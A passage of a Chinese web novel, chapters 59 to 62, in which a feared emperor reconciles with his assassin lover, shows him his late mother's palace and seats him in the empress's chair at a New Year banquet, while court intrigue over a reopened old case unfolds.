离开了他的恐惧,也离开了他的至爱。 赢秀不知道该如何决定,只能良久沉默,半响,闷闷地说:“下次不许再瞒着我了。” 其实,皇帝有意要瞒着他,他也毫无办法。 “赢秀,”谢舟静静观察着赢秀,终于开口,“你怕我么?” 赢秀没说怕,也没说不怕,他只是没头没脑地问出一个问题:“四个时辰,你不知道吗?” 四个时辰,他被关在斗室四个时辰,谢舟难道都不知道吗?为什么要等那么久才来救他? 谢舟显然清楚他在说什么,冷艳清冷的眉眼间,一片平静,无声地默认。 ……这没什么,要求一个刚认识不久的人,第一时间赶来救他,这是很不礼貌的,赢秀心想。 金裳少年笑了一下,说:“没事,一点都不黑。” 斗室里面一点都不黑,他一点都不怕。 谢舟神色微变,下意识上前,想要揽住赢秀,赢秀却退了一步,避开他的触碰。 赢秀低着头,不看谢舟的脸,他怕自己看了,又会心软。 “赢秀,你哭什么?” 头顶传来的声音一如既往的温凉,平静,其中似乎还蕴含着一丝赢秀从未听过的慌乱。 赢秀转过身,埋着头,就是不看谢舟,纵使谢舟主动靠了过来,他也只是把脑袋埋得更低,小声地大哭。 没有办法,谢舟只能强硬地抬起少年的脸,逼他看着自己。 赢秀脸颊泛红,发丝凌乱地垂落,眼眸也红了一片,眼眶里有泪,一颗颗掉下来,每一颗,都砸在谢舟心头。 “你看着寡人,”帝王命令他。 赢秀看了他一眼,闭上了眼,谢舟毫无办法,只好哀求他:“你看看我。” 赢秀倔强地闭着眼,怎么也不肯睁开,他一点也不想哭,可是眼泪不听使唤。 谢舟小心翼翼地抱住他,如同抱住易碎的珍宝,缓缓将他圈在怀里,沉默着,一个字也没有说。 ……他错了吗? 分明,他对赢秀,已经足够心软。 赢秀不争气地哭了一会儿,感觉有点累,慢慢睡着了,脑袋缓缓向下移,歪倒在谢舟怀里。 滴落的眼泪濡湿了帝王缁色的袍裾,正如相见的第二面,赢秀赠他莲花,莲花上的露水沾湿了他的衣襟。 谢舟抱着赢秀,伸出一只手,用干净的袍裾轻轻擦去他面颊上的泪水。 他从前怎么没发现,赢秀这么会哭,哭得他生平第一次体会到了何为慌张。 既然赢秀认为他错了,那…… 他会道歉。 赢秀这一觉睡得并不安慰,他梦见小谢舟变成了大皇帝,冷漠无情,专横强势。 大皇帝说要把他关起来,关到一个黑漆漆的地方,一辈子也不放他出来。 赢秀怕极了,苦苦哀求大皇帝放了他的小谢舟,如果实在要把他关进去,请把他的谢舟也放进来。 大皇帝桀桀冷笑,说,我就是你的谢舟。 赢秀被吓醒了,他大口地喘着气,一转头,本该空空如也的龙床外面,竟然坐着一道雪白身影。 谢舟端坐在一方长案上,正在处理奏折,许是听到动静,转头看向他。 赢秀不信邪地眨了两下眼,又看看如今的天色,有些不可置信:“你没去上早朝?” 谢舟道:“去了。” 国事不可荒废一日,他只是将亟待处理的政务搬到西堂,搬到龙床边。 赢秀沉默下来,随便谢舟在哪里处置政务,他愿意在西堂也好,东堂也罢,就是搬到庑廊下,也与他无关。 他拉上被衾,蒙住脑袋,准备再睡一觉。 “赢秀,”谢舟叫住了他,赢秀假装没听到,继续窝在被子里面,“是寡人错了。” 用被子蒙头的少年骤然掀起被衾,探出毛茸茸的脑袋,睁大了眼:“你说什么?” ——你错了? 一时间,赢秀脑袋里闪过无数句民间对昭肃帝的评价,什么暴虐,残忍,什么夏桀再世…… 文人雅士每年都会在山阴兰亭举行月旦评,自从永宁元年开始,年年都会隐晦地骂昭肃帝是暴君,残暴不仁,手段狠辣,令人闻风丧胆。 这样一位备受世俗贬抑的君主,他说,他错了。 赢秀思绪有些凌乱,怀疑自己没睡醒,还在梦中,一把蒙上被衾,闭上眼,直挺挺地躺了下去。 闭上眼,睁开眼,耳边还回响那句:“我错了。” 赢秀猛的掀起被衾,想象着自己恶狠狠地拷问谢舟:“你错哪了?” 他一开口,说出的却是:“这半年来,明知我把你当成门客,你非但不纠正,还将错就错。” 少年顿了一下,继续问道:“那段时间,你在想什么?” 谢舟没有立刻来救他,或许是忙,或许是不想因此暴露身份,更何况,当时他和谢舟,也没有好到那个程度。 赢秀唯一纠结的是,倘若他是皇帝,明知对方是刺客,或许他根本不会和刺客做朋友,更不可能伪装身份去和刺客谈恋爱…… 刺客多危险啊,三步杀一人,剑尖一出,人头落地。 谢舟难道不会怕吗? 帝王不再看满山的奏折,透过重重纱幰,低眉凝视着赢秀。 赢秀的心思一看便知,天底下再也没有比这更简单更纯澈的人了。 “那时我在想,”帝王慢条斯理地回答他:“天底下怎么会有你这样的人。” 天真,赤忱,不谙世事。 像剑锋,又像日光,明亮,粲然。 他要摘下一捧日光,放在森罗大殿里,长长久久的陪着他。 赢秀听不明白,但是想到谢舟说他错了,他心底的气顿时消了大半,鼓着腮帮子,磨了磨牙,“那我原谅你了。” 谢舟轻轻笑了一下,那笑容叫赢秀有些片刻的晃神。 帝王平静地想道,还是那么好骗,他的赢秀。 他又想起赢秀进宫刺杀前一夜。 赢秀来找他,满脸局促不安,小心翼翼地对他说,他不爱这张脸了,他看腻了…… 帝王心底一片冰冷,如果真有那一日,他就递给赢秀一柄刀,让他把这张脸改成他喜欢的模样。 要是赢秀都不喜欢…… 谢舟盯着赢秀的眼睛看了看,赢秀莫名脊背发凉,后颈冷浸浸的,危险感油然而生。 他只当是天气又转凉了,爬起身,一把抱住谢舟。 谢舟攥住赢秀的手,看向他,似乎终于想起什么,道:“明昔鸾找到了。” 第60章 第 60 章 暴君少年时 “真的?”赢秀骤然愣住, “她在哪?我想见她。” 谢舟没有说话,轻轻拊掌,内监总管端着一方卷轴走了进来, 将卷轴置于珩架上, 缓缓舒卷, 露出一位女子的画像。 赢秀紧紧盯着那副画卷, 清澈瞳孔微微涣散,有些不可置信, 不全是因为画上女子与他长相相似, 还因为画上女子穿戴的衣裳一看便是戎狄贵族的服饰。 明昔鸾,矢志光复中原, 扫清戎狄的一代女将,她怎么会穿着这种衣裳? 比起这些,赢秀更关心明昔鸾的安危,还不等他再次发问, 谢舟轻声道:“她是羌族王妃,如今身在长安。” 赢秀对羌族皇室不甚了解, 唯一的了解还是来自羌人使者。 他陡然想起什么,问道:“出使南朝的羌族王孙,是她的养子?” 谢舟倒没想到赢秀会关注到这方面,轻轻颔首:“是。” 赢秀有点恍惚, 他的生母身在异国他乡, 丈夫是野蛮的羌族首领,王孙凶恶,不知这些年是如何度日的。 早在赢秀开口之前,谢舟便料到他想说什么。 “不许。” “我要去找她。” 两道声音几乎是重叠在一起,甚至帝王的话语还要更快些。 “等我打下中原, 擒获羌族皇室,你自然就能见到她了。”帝王语气不容置喙,毫无商量的余地。 他不关心明昔鸾为何会从矢志驱逐羌人的将军,变成羌人的王妃,他只知道不能让赢秀离开他。 赢秀沉默片刻,问谢舟:“那会死多少人?” 电光火石间,他已然想明白了一切。 从贯穿四洲的大运河,再到肃清苟安江左的高门士族,足以看出,昭肃帝有心北伐。 自从永宁三年领军北伐,辎重不足不得不退兵后,他便一直在为下一次北伐做准备。 世人都说当今陛下暴虐残忍,应当是性情褊急暴躁,恰恰相反,他比任何人都要隐忍,谨慎。 直到这一刻,赢秀才隐隐窥见他平静表象下的磅礴野心, 少年倏忽想起那一夜,白衣门客教他辨认天下舆图。 对方修长冰冷的指尖在虚空中越过舆图上一道天堑,指着丘陵沃土,虚虚点了点。 “我的家乡在这儿。” 直到这一刻,他终于读懂了门客的未竟之言。 “我的家乡在这儿—— 我早晚会打回去。” 回忆戛然而止。 “……”赢秀眼眸清明,摇头:“我只是想见她一面,远远看一眼,倘若她过得好,我就放心了。” 若是她过得不好,他会想办法带她走。 “赢秀,”帝王声音很轻,像是生怕惊动什么,“无论如何,寡人都会这么做。” 无论赢秀有没有出现,他都会北伐中原,收复故土。 十五岁时没有成功,他维持足足蛰伏了九年,等待了九载春秋,再没有任何人,能够阻拦他。 赢秀望着那副画像,久久不能回神,如果这就是帝王要做的,那么…… 良久,赢秀终于动了,从后面搂住帝王,脑袋擦过对方冰冷的锁骨,侧着脸,轻轻啄了他一口,只说了一句话:“我相信你。” 谢舟没有说话,只是伸手按下赢秀的脑袋,环抱着他,加深了这个冰凉的吻。 赢秀被亲得有些无力,精疲力尽,软了身子,懒洋洋地坐在谢舟大腿上,连带着黑发也披散下来。 谢舟抱住他,如同抱住世无其二的珍宝,动作无比小心。 不远处,内监总管欣慰地看着这一幕。 总算有个人能治得住陛下了! 小郎君威武! 一转眼便是年宴,太极殿正殿内,宫人流水似的来来往往,疾步缓行,井井有序,天家威严尽显无余。 能来参宴的无一不是天潢贵胄,王侯将相。 当今陛下性情暴虐,不喜傅粉服散,是以人人都素面朝天,正冠素履,神色谨慎,生怕竖着进宫参宴,横着出来。 曾经在东堂见到金裳郎君的官员用眼色无声地交谈着。 “你猜那位郎君今日会不会出现?” “不知道,依陛下阴晴不定的性子,还不知那位郎君能活多久呢。” “我猜他手段了得,不然陛下也不会看上他,还把人藏得严严实实,半点口风也透不出来。” “是啊,估计是个长袖善舞的人物。” 长袖善舞的赢秀正在赶来的路上,他坐在帝辇上,手里捧着零嘴,有一下没一下地吃着。 赢秀吃得正欢,一抬头,四面景色越来越肃穆,高墙漆瓦,远处白玉楼台上的风帘宝幢晃动,像一道道戚戚白影。 赢秀嘴边的零嘴啪地一下掉了下来。 他赶紧扭过头问轿夫:“我们没走错吧?” 轿夫低着头,恭敬回答:“自然没有,陛下让您先去那里,说是有惊喜给您。” “哦,”赢秀信了,直到身下轿辇被送到楼台中,轿夫放下轿辇,转身便要走,却看见本该坐在轿辇上的赢秀骤然出现,挡在他们面前,笑眼盈盈: “你们要去哪?” 轿夫相视一眼,眼中闪过一缕凶光,他们都是出身宫廷守卫的武兵,难道还拿不下一个年纪轻轻的漂亮男宠? 半刻钟后。 轿夫们趴跪在地上,痛得面目狰狞,使尽浑身解数朝殿门爬去,艰难地叩响铜环,语气虚弱,满是恐惧:“放我们出去吧!求求你们了!” 守在殿外防止赢秀逃出去的暗棋冷笑一声,他怎么可能会放人出去。 不过,这人的声音未免也太多样了,就像是有很多人在哀求,而且还有点粗矿,难道陛下就好这口? 陛下的嗜好,果然不是他们这种凡人能理解的。 太极殿正殿。 垂帷后的帝王看了一眼身旁的空位,垂眸,冷眼看向不远处的太皇太后。 后者眉眼慈悲,端坐上首,一副观音面容, “太皇太后,”帝王语气冰凉,言语中毫无半点对长辈的尊敬,“你把寡人的珍宝,窃到何处了?” 谢氏不紧不慢地举起金樽,饮下一口茶,缓缓放下金樽,慢条斯理地用软帕拭口,“陛下在说什么?我怎么听不明白。” “听不明白?”帝王笑了一下,昳丽冰冷的眉眼变得无比危险。 下一刻,满殿朝臣瞬间撩摆跪下,原本热闹的年宴顿时鸦雀无声,王侯将相俯身跪拜,以头触地,不敢言语。 一片死寂中,人人屏息,只听见上首遥遥传来帝王冰冷平静的声音:“谢相年纪大了。” 国相谢岿,太皇太后的嫡亲兄长,早逝元后的父亲,当今天子的国舅。 帝王好似只是随口一句感慨,却叫跪坐在人群中的谢岿头顶生汗,朗声道: “陛下,臣自知年迈,只愿能为陛下鞠躬尽瘁,死而后已。” 谢氏脸色微妙,她倒是没想到,皇帝竟然能为那个人做到这个份上,看起来,倒像是要对建章谢氏下手。 她嘴唇翕动,真想说些什么,却看见内监总管走到皇帝身边,低声说了些什么,皇帝骤然站起身,起身离去。 看样子,他已经知道那人的下落了。 谢氏还是那副悲天悯人的面孔,轻轻牵了一下唇,旁人或许不知道,她最清楚,那个地方对皇帝来说意味着什么。 那是禁忌,是暴君的逆鳞,无论是谁,一触即死。 ——面容诡丽,弑父弑君的怪物,怎么配被人爱? 他就该永生永世,都活在地狱中。 …… 好冷,这里是地狱吗? 赢秀打了个喷嚏,不远处,是害怕地抱成一团的轿夫,轿夫个个脸色惊恐,用看洪水猛兽的眼神看着赢秀。 察觉到他们的目光,金裳少年皱了一下眉,不就是把他们打了一顿,客气地问了问为何把他送到这里,他们不说就算了,何至于露出这幅表情。 怪难看的。 他不喜欢难看的东西。 轿夫们更加害怕了,想不明白为什么一个秀气少年下手竟然这么狠,比他们还像练家子的。 早知道,早知道他那么能打,他们说什么也不会来……好想回家。 轿夫们眼泪汪汪,一想到这是什么地方,忍不住放声大哭:“呜呜我们要死了!”他们还不忘好心地提醒赢秀:“你也要死了!这里是宫闱禁地!是丹鼎阁!” 赢秀看不惯有人在他面前哭,忍不住问道:“丹鼎阁是什么地方?” 一个轿夫含糊地回答:“是先帝元后身前的寝殿。” 先帝元后?谢舟的母亲? 赢秀还想继续追问,那群轿夫却惊恐地闭上嘴,就连呼吸也不敢,仿佛有什么极度危险的东西即将到来。 下一刻,煌煌烛光骤然倾斜进殿,刺得他忍不住闭上眼。 勉强睁开眼,赢秀看见原本紧闭的殿门大开,黑压压的禁军庄严地立在殿外,杀气磅礴,排山倒海。 为首之人,赫然是衮服缁冠,气势冰冷的帝王。 赢秀眼睛一亮,撇下一旁的零嘴,径直朝谢舟扑去:“你来啦!” 谢舟垂眸,目光一寸寸舔舐少年,随后缓缓收回。 看起来没什么大碍,待会得叫太医院来检查一番。 赢秀抱住谢舟的腰腹,紧紧地抱了好一会儿,这座殿内昏黄无光,他怕得要死,幸好还有几个轿夫供他解闷。 “让你受惊了,”谢舟低声道,伸出手,轻轻回抱赢秀。 那几个缩在角落的轿夫瞬间瞪大了眼睛,不是,您也不看看被打得鼻青脸肿的人是谁?您见过谁受惊会把人打得爬不起来? 轿夫还未出声,便被禁军强硬捂住嘴,无声无息地拖了下去。 商危君朝禁军做了个手势,那意思是,问出来龙去脉,将剩余的细作连根拔出,全部就地处决,最后将尸首送回慈宁宫。 吩咐完毕,商危君小心地看了一眼陛下,以及他怀里的少年,带着人轻手轻脚地退了下去。 偌大的宫室内只剩下了赢秀和谢舟,赢秀慢慢松开双手,低声问道:“谢舟,这是谁的宫殿?” 他当然知道这是谢舟母亲的宫殿,但他不好直接问,若是触碰到谢舟的伤心事,那可如何是好。 他先旁敲侧击一下,倘若谢舟想说,自然会告诉他,若是他不想说,此事就此揭过。 帝王抬首,望向悬挂在高处的宝幢风帘,脸上没什么表情,仿佛这座宫殿内发生的事全然与他无关。 “这是我母后生前的宫殿。” 谢舟没有瞒他,平静地陈述着:“当年羌人犯禁,长安之乱导致我母后体弱多病,建元十一年,她死了。”剩下的话,他没有说出来。 那一年,他十岁。 元熙帝痛失挚爱,加上常年在朝堂上受到士族辖制,郁结于心,性情大变,沉迷修仙问道,只求故人归来。 自称来自蓬莱的方士说,只需寻找一个与元后相貌相似的人,日夜服用还魂丹,便可召回元后,借尸还魂。 元熙帝寻找了数月,觉得那些人有皮相无神韵,不配成为元后的替身,他终日怏怏,直到看见元后留下的太子—— 昭肃帝始终记得那一日,先帝看他的眼神,明亮,粲然,盛满了喜悦,欢喜。 他走了过去,怯怯地喊了一声:“父皇。” 水中求月,镜中求花,有花无月恨绵绵,有月无花恨转长。 …… 后来。 昭肃帝看见赢秀的第一眼,便想起了先帝那日看他的眼神,很像,却截然不同。 同样是喜欢,赢秀的眼神纯粹,干净。 原来,天底下也有这种不会让他感到恶心的喜欢。 赢秀本能地察觉出些许异样,他忍着没有动作,任凭谢舟冰冷粗粝的指腹轻轻拂过他的眼睫,阴影落在眼前,连带着对方昳丽诡丽的眉眼也忽明忽暗,看不真切。 令人毛骨悚然的触碰过后,谢舟忽然开口,轻声问赢秀:“你想去看看她吗?” ……谁? 赢秀有一瞬间的怔愣,他很快反应过来,谢舟口中的“她”指的是逝去的元后。 他没有拒绝,亦步亦趋地跟着谢舟。 谢舟取下一盏长明灯,手上秉烛,拨开自穹顶垂落的风帘,缓缓走进大殿深处。 佛火微茫,一点渺茫星光,照亮四面苍白的陈设,用白纱罩住的矮塌胡床,宫灯玉器,仿佛隐没在雾中,屹立在十几载春秋前。 赢秀一步步走近,看见案牍上还摆着帛书,上面是写到一半的字帖,砚台上笔墨已经凝结如石,依稀可以想象出,年轻的先帝元后坐在案前,提笔临帖的模样。 他抬起头,看见谢舟已经停下,驻足在一副画像面前,画像上有三个人,携手的帝后,以及一个带笑的孩童。 那是小时候的谢舟…… 赢秀忍不住看了又看,看看画像,又看看身侧的谢舟,谢舟任由他打量,眉眼平静冷漠,仿佛画像上的人与他毫无关系。 年轻的帝王手中秉烛,一身衮服,立在漆黑的宫殿中,脸上面无表情。 袍裾上流转冰冷烛影,像一樽亘古的琉璃像。 赢秀没忍住,悄悄从后面抱住了谢舟,脑袋靠着谢舟的肩膀。 很安静,谁也没有开口。 少年的体温传到谢舟身上,驱散了一身萧索的冰凉,他闭上眼,一动不动,任凭赢秀倚靠着他。 帝王手中的长明灯幽幽晃动,烛火飘忽,微弱的长芒虚虚拂过二人交叠的衣袂,照得衮服和金裳齐辉。 良久之后。 “走吧,”谢舟往外走去,赢秀跟在他身后,叽叽喳喳:“今日宴会有什么好吃的?” 谢舟倒是不在意口腹之欲,也没注意过宴席上的菜肴,他顿了顿,“你想吃什么,我让御膳房给你做。” 两人朝外走去,一高一低两道身影被四面幽缈烛光拉得纤长,身后,画像上的元后凝望着他们,眼眸温柔。 太极殿正殿。 陛下还未回来,王公贵族只能一动不动地跪在地上,他们心有余悸,低着头,谁都不敢说话。 方才,陛下带着禁军离殿,那气势着实把他们吓得够呛,仿佛从地狱里爬出来的修罗,随时都会毁天灭地。 暴君,千古暴君。 谁又惹他了?! 他们一面在心底念叨,一面抬眸看向跪在最前面的国相,数道视线在半空中碰撞在一起,最终汇聚在谢岿身上。 如芒在背的谢岿:“?” 他抬起眼眸,望向上首的谢氏,眼神里赫然写着:“不是,你都干了什么?” 谢氏避开自家兄长的视线,举起金樽,故作镇定,皇帝去了那么长时间,想必已经杀了那个人,她可真期待…… 殿外传来整齐庄严的脚步声,暴君回来了! 朝臣连忙低下头,跪在地上当鹌鹑。 有几个年老耳背的大臣没听见,还傻傻地抬着头,被身旁的同僚拍了一巴掌,朝他努了努嘴,这才后知后觉地低头。 脚步声越来越近,殿内众人便越来越恐惧,惟有谢氏气定神闲,细眉微挑,慢悠悠地品茶。 下一刻,她骤然睁大了眼,眼神微变,皇帝……皇帝竟然带着一个少年回来了。 帝王身侧跟着一个金裳少年,那少年神秀无俦,漂亮夺目,尤其是那双清澈眼眸,让人移不开眼。 最前排的朝臣们跪在地上,低着头,余光中只看见两道衣袂从眼前飘过,察觉到异样,不免在暗暗琢磨,怎么感觉好像多了一个人? 似乎和陛下靠得很挺近,是他们的错觉么? 赢秀一路跟着谢舟走到龙椅附近,他微微睁大了眼,发现龙椅旁多了一道椅子,雕琢凤凰,华丽灵动。 这是谁的椅子? 赢秀猜想着,还不等他想出一个可能的人选,帝王对他说:“坐。” 言简意赅,清晰了然。 “哦!”赢秀乖乖坐下。 谢舟笑了一下,在他身旁的龙椅上落座,内监总管察言观色,温声对底下众臣说道:“诸位大人,今日是年节,何必跪在地上?” 有了这声号令,朝臣们才缓缓站起身,正要归席,冷不丁一抬眼,越过层层丹犀,透过垂帷,龙椅旁似乎多了一个人?! 跪太久,眼花了? 他们不约而同地想,忍不住抬眸细看,面露震惊,陛下身边,竟然真的多了一个金裳少年。 那不明来路的少年,正坐在凤椅上! 众人心中惊骇万分,南朝有皇后了?他们的皇后竟然是个男子!还是一个如此年轻的男子!陛下竟然喜欢男子! 一个又一个念头闪过脑海,一时间,竟不知该震惊哪一个好。 他们迅速归席,忙不迭地坐下,或是举起酒盅,或是埋头吃菜肴,谁也不敢抬起头,生怕被陛下拿来开刀。 谢氏此刻亦是惊诧不已,怪物,果然是怪物,竟然做出这种惊世骇俗的举动,在年宴上,当着朝野上下的面,让男宠坐凤椅,拿南朝的礼法规矩置于何地?! 那男宠明明擅闯禁地,皇帝不仅没拿他怎么样,还如此礼遇,足见那个男宠的重要性。 谢氏隔着珠帘,遥遥地打量赢秀,赢秀没有察觉到她的目光,因为,现在明里暗里偷看他的人着实太多了。 他有点想捂脸,一想到用手捂着脸,就没有空余的手用来吃东西了,只好放弃这个想法。 帝王倒是毫不在意底下那些目光,他提起银箸,慢悠悠地给赢秀布菜。 他一边夹,赢秀一边吃,把满殿权贵看呆了眼,这是……这是在做什么? ——暴君给男宠布菜? 这男宠上辈子是救过陛下吗? 有几个老古板大臣受不了了,他们能接受陛下杀人,却不能接受陛下给男宠布菜,天家威严何在? “陛下,这……这于礼不合……”一位大臣颤巍巍地说,他声音不大,小心翼翼的,在还算寂静的大殿里勉强能让人听清。 “寡人记得你,” 帝王顺手给赢秀布好最后一道菜,冰冷的目光缓缓落在那人身上。 大臣听见这句话,涨红了脸,受宠若惊,听到陛下说的下一句,脸色骤然煞白。 “你是建章谢氏的家臣?” “……回陛下,微臣不是建章谢氏的家臣,微臣只有一个家,生于南朝,长于南朝,而且,微臣只会是陛下的臣。” 那位大臣浑身哆嗦,颤巍巍地离席,跪在空地上,朝天子再三叩首。 谢舟轻轻笑了,笑声令在场之人不寒而栗,“当年审理寿春坞主案的人,是你,是不是?” 此话一出,满堂皆惊。 赢秀放下银箸,越过疏朗的垂帷,目光由上而下,依次扫过一张张神色复杂的面孔。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 第 61 章 门户私计 殿内众臣或老或少, 神色各异,年轻的臣子没有听过寿春坞主案,一脸迷茫, 年长的臣子讳莫如深, 不敢妄言。 那位跪在大殿中央的朝臣脸色微微一变, 他当年在尚书台任职三公曹, 此案不仅由他经手,他还是主审官。 左思右想, 想不通陛下为何会提起此案, 他压低头颅,语气谨慎:“陛下, 此案确是微臣审理,如今已经过去十几年了,微臣也不记得细枝末节了。” 漆黑垂帷后,帝王非笑似笑, 眼眸冰冷淡漠,“此案疑点重重, 以爱卿之见,该如何是好?” 那位尚书面色骤然苍白,鬓边冷汗津津,他勉强镇定下来, 重重磕了个头, “陛下,微臣愿重审此案!” 话音甫落,众人相视一眼,皆从彼此眼中看见了波澜,陛下要重审寿春坞主案?都过去多少年了?瘐家人都死绝了, 即使翻了案,人死万事空,何必白费功夫。 圣心难测,他们也不敢开口,只能默默低头,生怕自己被注意到。 煌煌大殿里,片刻死寂。 尚书以头触地,四肢百骸泛起刺骨的津津寒意,未知的恐惧压弯了他的脊柱。 “此案确实要重审,” 高处遥遥传来帝王的声音,很轻,漫不经心,蕴含着生杀只在一念之间的残忍,“来人,把他拖下来,好好审问。” 那位尚书骤然抬起脑袋,鬓发被汗水湿透了,脸颊惨白一片,像是没了魂似的,身体瘫软,被守殿的禁军拖了下去。 天子堂前,白日还是珍饰盈列的权要,夜晚人头落地,举族被抄,这是常有的事,谁也不觉得稀奇。 他们只是愈发低下颈项,屏住呼吸,试图降低存在感。 愈是寂静,玉碟碰撞声便愈加明显。 年轻的臣子忍不住好奇地抬眼望去,想看看究竟是谁胆子这么大,竟敢在这个关头大喇喇地用膳。 透过垂帷,隐约能看见坐在凤椅上的少年正在专心地对付一道菜肴,看不出一丝一毫畏惧。 他不怕陛下,甚至还指挥陛下给他布菜。 这般娇纵,陛下如此宠爱他,着实出人意料。 那大臣还想细看,冷不丁对上了陛下冰凉漆黑的目光,心中一寒,迅速低下头,有些悚然。 “陛下,寿春坞主案过去多少年了,尘埃落定,何必再查?”谢氏隐在苍老眉眼间的微笑已经彻底消失,唇角微弯,笑意不达眼底。 不远处,谢岿举起金樽,慢慢地抿了一口清水,身为建章谢氏的主公,他素来安贫乐道,素退为业、处贵遗权,身处京畿,如寄身山林。 再过几年,他也要乞骸骨,功成身退了,隐居南山。谁能想到,陛下竟然突然提起寿春坞主案…… 帝王听到谢氏的话,冕旒下,昳丽冰冷的脸上并没有什么情绪,“与其插手寡人的太极殿,怎么不管管您的慈宁宫?” 言下之意,便是在指责她不该论政,插手朝堂。 谢氏脸上仅剩的一点笑意也快要消失了,她还未来得及说什么,心腹立在她身后,附在她耳边,低声说了几句话。 谢氏那张慈悲面容再也维持不住,她冷冷地看了皇帝一眼,在心底暗骂了一句:“疯子!” 这些年来,她费尽心思安插在太极殿的细作,全部被揪了出来,皇帝把他们的尸首送到了慈宁宫,不仅如此,甚至还把她培养的羽翼一并剪除了! 简直是疯子!怎么会有人如此对待自己的皇祖母!毫无尊敬,残暴无礼! 谢氏敛在袖下的手颤巍巍地举起金樽,噙了一口茶,勉强压下心头的怒火,她用余光乜了一眼坐在皇帝身边的少年,唇畔勾起一抹冷冷的弧度。 两耳不闻窗外事,一心埋头用膳的赢秀:欸,谁在看我? 他望了一圈,发现是不远处一个华丽雍容的老妇人正在盯着他看,忍不住问谢舟:“她是谁?” 谢舟循着他的视线看去,神色淡淡,仿佛那是一个无关紧要的人,言简意赅:“太皇太后。” 南朝的太皇太后…… 那不就是谢舟的祖母? 对于谢舟的长辈,赢秀很有好感,低头用帕子擦了擦嘴,扬起头,朝谢氏礼貌笑了笑。 谢氏:“……” 这是哪来的傻子。 谢舟察觉他的动作,侧眸,冷眼睨了谢氏一眼,继续往赢秀碗里布菜,轻声道:“今夜把你关在丹鼎阁的,是她。” 赢秀吃了一口谢舟夹的菜,嚼嚼嚼,问道:“她为什么要关我?” 谢舟一顿,神色依旧平静,用只有他和赢秀才能听见的声音说道:“她厌恶我。” 谢氏厌恶他,连带着厌恶赢秀。 他血缘上的祖母,从前一直在想方设法毁掉他,现在甚至妄图毁掉他的至爱…… 他不会再继续隐忍下去。 赢秀不知道那位雍容华贵的妇人为何会厌恶自己的亲孙子,他伸出手,轻轻拍了拍谢舟的脊背,还不忘往谢舟碗里夹了几道自己不太爱吃的菜。 “既然她讨厌你,那我也讨厌她,”赢秀思索了一下骂人的词汇,努力想了半天,小小声地说:“她真坏。” 谢舟哑然失笑,刚露出一点笑意,差点被赢秀瞪了一眼,他瞬间收敛笑容,严肃道:“嗯,确实坏。” 自从那位尚书当众被拖下去后,再也没有人敢对赢秀提出异议,甚至还有心思活络的朝臣委婉地夸赞赢秀,用了不少晦涩的典故,赢秀一个也没听明白。 他疑惑地看看底下叽里咕噜的朝臣,又看看谢舟,“他在说什么?” 谢舟转过头,为他解释:“他说你适合当南朝的皇后,”语气认真,煞有其事。 赢秀有点不信,看着谢舟平静淡漠的神色,不免有些动摇,朝臣也想让他当皇后? 少年思索了一下,坚定地摇了摇头,故作深沉:“时候还未到。” 他完全没有想象过当皇后是怎样的光景,更何况,还是给以暴虐无道而闻名天下的昭肃帝当皇后。 谢舟是暴君,他是什么?妖后? 赢秀想象了一下被人叫做妖后的场景,不由一默。 不管怎样,只要待在谢舟身边就很好。 帝王长睫低覆,看着少年一会儿神色苦恼,一会儿豁然开朗,也不知在想些什么。 他没有再逼赢秀,抬手往他碗里夹菜:“吃饭吧。” 年宴一结束,残忍暴虐的昭肃帝,竟然在太极殿豢养男宠,还让男宠坐在属于皇后的凤椅上,这个消息以迅雷不及掩耳之势传遍了京畿。 有人说,那男宠貌美非常,远胜王嫱楚女,所以陛下才宠爱他。 又有人说,男宠是仙子托生,前来普渡暴君,救万民于水火。 还有一则小道消息,谁也不信,只因那消息着实荒谬,竟然说那位男宠是刺客,还是刺杀皇帝的刺客。 ——怎么可能? 以暴君的性情,早就把刺客拖出去凌迟处死了,怎会留下他的性命,甚至还把他当做男宠,百般宠爱,千般娇纵。 瞧那架势,俨然是要他当皇后,南朝虽然盛行南风,何尝有过男皇后的先例?着实惊世骇俗。 外头消息传得沸沸扬扬,以致于尚书台传出即将重审寿春坞主案的消息时,一时竟无人问津。 除了建章谢氏和琅琊王氏。 京郊南山,谢岿正在打理新种的菊花,在朝堂上叱咤风云的国相,此刻就像个再普通不过的老人。 他动作缓慢地浇花,走两步便要停一步。 扎着垂髫的童子无声无息地走进来,“主公,王道傀来了。” 从徐州广陵到建康京师,三千里路,只用了寥寥数日,足见王道傀对重审寿春坞主案一事有多忌惮。 谢岿没有说话,静静地浇花,童子明白他的意思,亲自走出去,推开最外面紧闭的柴扉。 王道傀走进来的时候,一眼便看见了一身青衣,提壶浇花的老人,他停下脚步,屹立在原地,看着对方步履蹒跚,慢慢地走动。 等到谢岿倾尽了壶中水,他才开口,第一句话说的却不是寿春坞主案,而是—— “你也老了。” 谢岿回眸,淡淡一笑,一代政客的气度尽显无余:“你来就是想说这个?” 他朝王道傀身后看了一眼,“你那个中原冠冕的长子呢?” 王守真,明公正道,温润而泽,少时便有中原冠冕之称。 王道傀脸色微沉,没有回答,单刀直入:“这次的事,该如何转圜?” 如今陛下有心调查寿春坞主案,不论是出于何种目的,最终的结果必然是剪除士族羽翼,王谢两家的门庭,只怕有些不稳了。 “什么如何转圜?”谢岿笑了,“我怎么有些听不懂了,此案与我们有何关系?” 人人都知道国相谢岿,近几年越来越沉迷清谈,不问国事,一个通敌叛国的将军的案子,和他又有什么关系。 王道傀心里清楚,谢岿既然要见他,必定不会置他不理,他思索了片刻,心一横,说出手头上最大的底牌:“羌族王妃近来思念故国,羌王说,要带她回来。” 如何归来,只有一种办法,南下征战。 第62章 第 62 章 美色误人 谢岿眼神一肃, 静默不语,袖手朝北边望去,仰头看了片刻, 朝王道傀略微颔首, 随后转过身, 朝深处的月洞门走去。 王道傀上前几步, 还想说什么,童子已经笑吟吟地上前, 恭敬地朝他做了一个手势, 俨然是要送客。 王道傀咬了咬牙,当年那桩案子, 由琅琊王氏全权负责,建章谢氏行便宜之权。 倘若真要彻查出个子丑卯寅来,倒的只是他们王氏的门庭,谢氏依旧可以端坐高台, 好好地做隐世士族。 眼下,和羌族皇室共商大计的人是他, 谢岿虽然应允,却没有参与其中。 来日被陛下发现,他们王氏九族人头不保,谢氏倒是可以高枕无忧…… 他眼眸微变, 站在原地, 也不知在想什么,片刻后,慢慢走出了这座小院。 天子有令,寿春坞主案由廷尉,尚书台, 御史台三司并审,如此重视,让这座京畿都为之侧目。 这桩案子说难也不难,说简单也不简单,细究起来,当年给瘐明定罪的关键在一个羌人身上。 